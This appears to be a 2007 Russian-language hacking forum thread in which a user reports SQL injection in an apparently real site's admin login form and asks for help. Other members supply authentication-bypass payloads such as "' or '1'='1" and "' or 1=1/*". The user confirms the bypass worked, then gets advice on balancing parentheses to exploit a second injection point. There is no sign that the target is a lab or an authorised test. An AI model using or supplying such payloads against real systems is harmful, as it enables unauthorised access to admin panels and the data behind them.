Вопрос по скуле!

Discussion in 'Песочница' started by fly, 18 Aug 2007.

  1. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Нашел скулю в форме авторизации админа.
    В форму ввожу login:admin pass:' , выдает :
    Code:
    SELECT AId FROM adm_admins WHERE ALogin='admin' AND APassword='''Ошибка выполнения запроса. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1. Выполнение прервано
    
    Что посоветуете? :confused:
     
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    blablabla' or 1=1/*
    ?:\
     
    #2 .Slip, 18 Aug 2007
    Last edited: 18 Aug 2007
    1 person likes this.
  3. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    blablabla' or '1'='1
    мона вот так..
     
    1 person likes this.
  4. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Прошло вот так ' or '1'='1. Спасибо совсем забыл про or!
     
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Просто не всегда ясно, что там за ковычкой, по-этому сразу отсекать ее не стоит =\
     
  6. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''))' at line 1
    А вот в другом месте вот так, но уже выше что написано было не проходит.
     
  7. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    а в каком параметре или контексте?
    скорее всего надо скобки еще просовывать закрывающие и открывающие(либо отсекать реальные закрывающие)..
     
Loading...